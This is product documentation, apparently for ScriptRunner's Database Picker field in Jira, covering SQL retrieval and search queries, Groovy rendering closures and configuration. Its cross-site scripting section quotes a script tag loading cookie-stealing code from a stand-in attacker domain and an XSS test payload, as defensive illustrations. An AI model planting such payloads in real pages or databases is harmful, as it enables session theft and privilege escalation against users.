The Database Picker scripted field displays database records returned by a pre-configured SQL query from a connected database.

Examples for usage include:

Select Jira Project Example

This example outlines selecting a project from the Jira Projects database table.

The following serves as an example only - in practice there is an existing Project picker custom field provided out of the box which you would use.
The example below assumes that one database connection has already been set up with the name local.
  1. Enter a Field Name, Field Description and Field Note.

  2. In this example, select Local under Connection.

  3. The first SQL statement in Retrieval/Validation SQL is retrieving a value from the database to display.

    select id, pname from project
      where id = cast(? as numeric)
    • id is the data you wish to retrieve and store in the Jira database. In this case, the Project ID.

    • pname is the data you wish to display in the field on the View Issue screen. In this case Project Name.

    • project is the name of the queried table (for this example, jiradb.project).

    • cast is required in this case, as the project.id column (the ID column being queried) in the Jira database schema is numeric. Note that if using mysql you may need to cast to SIGNED.

    • ? is the stored value (in this case, ID).

      where id = cast(? as numeric) ensures that the ID is cast as a numeric. If the ID column is alphanumeric, this is not required.
  4. The second SQL statement in Search SQL retrieves a value from the database to display.

    select id, pname from project
      where lower(pname) like lower(?) || '%'
    • lower changes input into lower-case for both the input value and the column being searched, allowing for a case-insensitive search.

    • ? is the parameter filled with what the user types into the custom field drop-down.

    • The query concatenates the input with a %, which means "match anything starting with this". So as the user types, this query executes, and the project name results are displayed.

      The || operator is a SQL standard, but verify the query using the target database…​ in mysql for instance you would need to use concat(lower(?), '%')'.
      Without the % character, the control does not show anything unless the end-user types something that is an exact match to the database record.)
      project picker usage
  5. Click Add to create the field.

Now create an issue and test the field:

  1. Add the scripted field to any screens or projects and enter a value on an issue that has this field in its context.

  2. Return to the Script Fields screen, click the Cog and select Edit on the field just created.

  3. Set the Preview Issue Key to be the issue just created.

  4. Click Preview to see how the new field displays.

project picker preview

Modify the SQL query to change what information is shown, giving you more control over the display. In this example of picking a project from the Jira database, to display both the project name and the key we could use:

select id, pname || ' - ' || pkey from project
  where id = cast(? as numeric)

If you want more control over how the field renders, please see the section below: Customisations.

Select from Excel Sheet

There are JDBC drivers available for all commonly-used databases and Excel and CSV files. Therefore, you can connect to a spreadsheet containing a list of items you want to be available in a custom field.

  1. First, add the spreadsheet as a connection in setting up an external database connection.

  2. Create a scripted field.

  3. Give the field an appropriate name and description then enter the following into Retrieval/Validation SQL:

    select id, "First Name" || ' - ' || "Experience Level" from devs
      where id = ?
  4. Enter the following into Search SQL:

    select id, "First Name" from devs
      where "First Name" like ? || '%'
csv field picker

When applied to an issue context, the results display as a drop-down:

csv pick user

Customisations

You can customise the picker in many ways using the Configuration Script option. However, it’s recommended you get the basic functionality of your picker working before you work on advanced customisation.

Configure advanced functionality by editing the configuration script, and specifying closures or string values. For operations like rendering the display value, the closure is called (if present), along with any arguments required. The following information explains what happens by default, and what arguments are available to your closure, as well as usage examples.

You do not need to include all possible closure arguments. You can omit superfluous arguments, but you must keep the order. Only drop arguments from the right of the list, for example:

myClosure = { foo, bar, baz ->

can be shortened to:

myClosure = { foo ->
    // ...
}
These customisations can be complex. Ensure you thoroughly test on a non-production system.

Avoiding Cross-Site Scripting Attacks

Cross-Site Scripting (XSS) is a type of vulnerability that arises when a web application renders data as HTML from an untrusted source.

In the example of the database picker, an attacker may enter javascript into a record in your linked database, then select that record in the database picker. That may look like:

<script src="http://bad-domain.com/stealCookies.js">An innocent looking record

If the database picker rendered the above as HTML, and the attacker persuaded a system admin to view that page, the JavaScript would run. This could allow the attacker to do things like steal cookies or execute REST requests to gain system admin permissions.

To prevent this, the HTML returned by the picker is sanitised, that is, all JavaScript is removed, and any missing HTML tags are inserted.

If you wish to include JavaScript, then you must set allowJavaScript = true in your configuration script. However, if you do this, it is then your responsibility to ensure that any values you use from your linked database are sanitised (see example below).

If you are using the current database, then it is easy for the user to enter JavaScript. A project administrator can create Versions whose name contains JavaScript, and users can change their display names to contain scripts tags, and there are many similar examples.

Often no special permissions are required to create objects which can contain JavaScript.

If you have any doubts, leave allowJavaScript unset. If you enable it, you should understand the consequences and test, even in situations where your Jira instance is internal to your company.

To test, insert the following string anywhere a user might be able to:

<details open ontoggle=prompt`12345`>

If you then ever see a JavaScript prompt, you are vulnerable to an XSS attack, and you need to fix it.

Customising the Displayed Value

By default, the first column from the results returned by the Retrieval/Validation SQL query is shown.

To customise the display of this value, implement:

import groovy.sql.GroovyRowResult

renderViewHtml = { String displayValue, GroovyRowResult row ->
    // return a String that will be displayed when viewing the issue
}
displayValue

The value retrieved from your SQL query.

row

A GroovyRowResult instance that represents the row retrieved using the Retrieval/Validation query.

The default implementation is row[1], i.e. use the second column of the Retrieval/Validation result.

When viewing the field in Column view in the Issue Navigator, we will call renderColumnHtml if it is present, which has the same signature as renderViewHtml. Use renderColumnHtml if you wish to provide a smaller, simpler result suitable for display in a tabular format such as the issue navigator, or CSV export.

Example: Showing additional information

In this example we continue the theme of querying the Jira database to show a Project Picker field. This doesn’t have much practical purpose, but we use it because it allows you to replicate the Project Picker locally, as we do not know what the schema of the actual database you are connecting to looks like.

The following code retrieves the project lead, and displays that.

import com.atlassian.jira.component.ComponentAccessor
import groovy.xml.MarkupBuilder
import groovy.sql.GroovyRowResult

renderViewHtml = { String displayValue, GroovyRowResult row ->
    def projectManager = ComponentAccessor.projectManager

    def projectId = row[0] as Long
    def project = projectManager.getProjectObj(projectId)

    def writer = new StringWriter()
    new MarkupBuilder(writer).
        span(displayValue) {
            i("lead by ${project.projectLead?.displayName ?: 'no lead'}")
        }
    writer.toString()
}

When rendering it appears as shown:

show project lead view issue

HTML Encoding

By default, any HTML formatting tags in the database values are rendered by the browser, rather than escaped. This is primarily for reasons of backwards compatibility.

Typically, in order to encode HTML, we use an instance of MarkupBuilder, as shown in the code above.

There is a shortcut to save a few lines:

import com.onresolve.scriptrunner.canned.util.OutputFormatter

OutputFormatter.markupBuilder {
    span('etc')
}

This handles escaping any HTML tags in the database value, plus ensures you have correctly structured HTML.

It is also acceptable to just concatenate a string to be returned. To escape formatting tags in the value returned, use code similar to the following:

import static com.google.common.html.HtmlEscapers.htmlEscaper

renderViewHtml = { String displayValue ->
    htmlEscaper().escape(displayValue)
}

Given a project name that contains HTML tags, with this code it will be rendered as:

html escaped project name

Whereas without this code:

non html encoded project name

Customising the HTML in the Drop-down

By default, we display the second value in the Search query in the drop-down, for example:

default project dropdown

It’s possible to add additional information to this display, which may help guide users to the choice that they are looking for.

Overriding the view HTML, following the section above, has no effect on this display.

Adding Additional Information to the Drop-down

Following the Project Picker example, we can augment the list of items in the drop-down to show the project lead.

import groovy.sql.GroovyRowResult

renderOptionHtml = { String displayValue, GroovyRowResult row ->
    // return a String, containing HTML, that will be displayed in the drop-down
}

For example, as above, if we wanted to display the project lead in the drop-down we could use:

import com.atlassian.jira.component.ComponentAccessor
import groovy.xml.MarkupBuilder
import groovy.sql.GroovyRowResult

renderOptionHtml = { String displayValue, GroovyRowResult row ->
    def projectManager = ComponentAccessor.projectManager

    def projectId = row[0] as Long
    def project = projectManager.getProjectObj(projectId)

    def writer = new StringWriter()
    new MarkupBuilder(writer).
        span(displayValue) {
            i("lead by ${project.projectLead?.displayName ?: 'no lead'}")
        }
    writer.toString()
}
If you have common code (this is very similar to how we rendered the result in the example above), you should just extract the common code to a new method.

Which will display as follows:

customised dropdown

Showing Multiple Columns

Another common case might be concatenating multiple values from the database query.

For example, let’s modify the search SQL query to return, in addition to the ID and name, the project key:

select id, pname, pkey from project where pname like ? || '%'

Now, modify the generation of the option HTML to include the project key. We’ll take the columns named PNAME and PKEY from our query results:

import groovy.sql.GroovyRowResult

renderOptionHtml = { String displayValue, GroovyRowResult row ->
    "$row.PNAME ($row.PKEY)"
}

Will render as:

option html multiple columns

You can also use column numbers as well as column names, e.g., we’ll take the second and third column (row[0] being the first column):

import groovy.sql.GroovyRowResult

renderOptionHtml = { String displayValue, GroovyRowResult row ->
    "${row[1]} (${row[2]})"
}

Setting a drop-down icon

Often you may have a small image to go with each selection, for instance a country flag or a headshot for a person.

You can set the avatar by implementing:

import groovy.sql.GroovyRowResult

getDropdownIcon = { GroovyRowResult row ->
    // return a String: a link to an icon, or base64 encoded string beginning 'data:image/jpg;base64, '
}
row

A GroovyRowResult instance that represents the row retrieved using the Retrieval/Validation query.

To show the avatars for Jira projects:

import com.atlassian.sal.api.ApplicationProperties
import com.atlassian.sal.api.UrlMode
import com.onresolve.scriptrunner.runner.util.OsgiServiceUtil
import groovy.sql.GroovyRowResult

def applicationProperties = OsgiServiceUtil.getOsgiService(ApplicationProperties)

getDropdownIcon = { GroovyRowResult row ->
    "${applicationProperties.getBaseUrl(UrlMode.RELATIVE)}/secure/projectavatar?size=xsmall&pid=${row[0]}"
}

will render as:

customised icon

Customising the Search SQL

There are many cases for customising the SQL used when searching, for instance:

  • Restricting records to just those the current Jira user has permission to see,

  • Using other fields on the current issue as a filter.

Implement:

import com.atlassian.jira.issue.Issue
import com.onresolve.scriptrunner.canned.jira.fields.editable.database.SqlWithParameters

getSearchSql = { String inputValue, Issue issue, String originalValue ->
    // return SqlWithParameters, that will control the search SQL..., eg:
    new SqlWithParameters("select * from X where name like ? || '%'", [inputValue])
}
inputValue

The characters that the user has typed so far into the picker field

issue

The current Issue object which the field is attached to. This is a live issue, in that its values will reflect any typed into the current form

You must return an instance of SqlWithParameters, which encapsulates a SQL query and any parameters.

If you override this, you should also modify the validation SQL (see below), otherwise the user could set a value (either using the REST or Java API) that they would not be able to set through the normal web user interface.

Setting Search SQL based on Issue Fields

There are some points to be aware of when using the Issue object:

  • The Issue object which is available to you is never null. When the user is interacting with the create issue dialog, you can use issue.issueType and issue.projectObject to get the current issue type and project, but issue.isCreated() will be false.

Note that in both of the following cases we will use the Search SQL from the configuration form, rather than the script:

  • When setting a default value via Admin → Custom Fields,

  • When searching for issues in the issue navigator.

You need to keep the return value from this closure and the SQL in the configuration form in sync. The search SQL in the form should be a superset of all the possible values that can be returned from your customised SQL, to allow users to find any possible value.

In the following contrived example, we only allow selection of project names which start with the current issue’s summary:

import com.onresolve.scriptrunner.canned.jira.fields.editable.database.SqlWithParameters
import com.atlassian.jira.issue.Issue

getSearchSql = { String inputValue, Issue issue ->
    new SqlWithParameters("select id, pname from project where pname like ? || '%' and pname like ? || '%'", [issue.summary ?: '', inputValue])
}

This will select any project name beginning with what they type, and also starts with the current summary. Note that we handle the case where the issue summary is null, by instead using an empty string: issue.summary ?: ''.

Typically you will use CustomFieldManager to get the value of a custom field from an Issue, or JiraAuthenticationContext to get the current user details.

The value of the issue attributes change as the user edits the form. So this allow you to return parameterised results based on other field changes that the user is currently making.

Setting Validation SQL based on Issue Fields

This is pretty much the same as setting the search SQL above, and should normally go hand-in-hand with it. Any value that a user could pick through the search drop-down should not be invalid, unless they have subsequently changed other fields on the form that make it invalid.

To set SQL for validation, implement:

import com.onresolve.scriptrunner.canned.jira.fields.editable.database.SqlWithParameters
import com.atlassian.jira.issue.Issue

getValidationSql = { String id, Issue issue, String originalValue ->
    // return SqlWithParameters, that will control the validation SQL..., eg:
    new SqlWithParameters("select id, name from X where name like ? || '%' and id = ?", [issue.summary ?: '', id])
}

Following the above example, this validator checks that the selected value matches the issue summary:

getValidationSql = { id, issue ->
    new SqlWithParameters("select id, pname from project where pname like ? || '%' and id = ?", [issue.summary ?: '', id])
}

Dealing with Disabling Options

In some cases, you may have linked records that become invalid over time. For example, discontinued products, or users who have left the company.

You don’t want these to be selectable on new issues, but you need to retain their value on existing issues.

The method below describes how to disable values in a similar manner to that of select list options. Once an option has been disabled, you cannot use it in new issues. However, if an issue already has that field value, you can continue to save the disabled value. If the field value is changed and saved, the disabled value will no longer show as an option. This behaviour is the least surprising to users, and mirrors the way that the Disabled Options of single/multi-select pickers work.

In summary, we will customise the search SQL and validation SQL to display the current value even if it’s disabled, and to validate the existing value, even when disabled. The issue’s current value for this custom field is passed as a parameter of the closure.

Example

Before attempting this example, ensure all other aspects of your field are working properly.

Let’s say we have a database table representing countries as follows:

ID Name Enabled

1

France

Y

2

Germany

Y

3

Spain

N

As above, the option for Spain is disabled.

The code is below.

import com.atlassian.jira.issue.Issue
import com.onresolve.scriptrunner.canned.jira.fields.editable.database.SqlWithParameters

getSearchSql = { String inputValue, Issue issue, originalValue ->
    new SqlWithParameters("select id, name from countries where name like ? || '%' and (enabled = true or id = ?) order by name", [inputValue, originalValue])
}

getValidationSql = { id, Issue issue, originalValue ->
    new SqlWithParameters("select id, name from COUNTRIES where id = ? and (enabled = true or ? = ?)", [id, id, originalValue])
}

renderViewHtml = { displayValue, row ->
    displayValue + (row.ENABLED ? '' : ' (disabled)')
}

Note the getValidationSql closure - if an issue already had this value before it became disabled, when it’s edited and validated, the SQL will evaluate to:

select id, name from COUNTRIES where id = 3 and (enabled = true or 3 = 3)

…​as 3 = 3 is true (even though enabled = false is not true), validation will succeed, but the user will not be able to select another disabled value.

In addition, we have modified the rendered HTML to show that value as being disabled.

Sorting in JQL Queries

If you wish to be able to sort on the value of a Database Picker field in a JQL query, you must specify on which attribute the sorting should be done.

To do that, implement:

import groovy.sql.GroovyRowResult

getSortValue = { GroovyRowResult row ->
    // return a String that will be used to sort on, in JQL queries
}

For example, if you are querying from Jira projects in the examples above, to sort by the project name, you would use:

import groovy.sql.GroovyRowResult

getSortValue = { GroovyRowResult row ->
    row.PNAME
}

If getSortValue is not implemented, sorting will be by the ID of the linked record. This will be consistent, but may not be what the user expects given the value displayed for the field.

There will be a small overhead to specifying a sort value, as a database query will be done each time the issue is re-indexed.

Users cannot sort by arbitrary values of the record. If you change the sort value, you will not get accurate sorting results until all issues with this field are reindexed.

You could do that by using the reindex issues script with a JQL query similar to MyDatabasePickerField is not empty. Or, a full reindex.

Miscellaneous Configuration

Multiple Values Delimeter

Multiple values are separated with a comma. To change this set multiValueDelimiter to a string. For example, if you are rendering values as lozenges, you might set this to the empty string, or to set the joiner to a | add the following:

multiValueDelimiter = "|"
Number of Values in Drop-Down

By default, a maximum of 30 values will be retrieved and displayed in the drop-down. To change that set maxRecordsForSearch to a number.

Have questions? Visit the Atlassian Community to connect, share, and learn with other Atlassian users and experts, including Adaptavist staff.

Ask a question about ScriptRunner for JIRA, Bitbucket Server, or Confluence.

Want to learn more? Check out courses on Adaptavist Learn, an online platform to onboard and train new users for Atlassian solutions.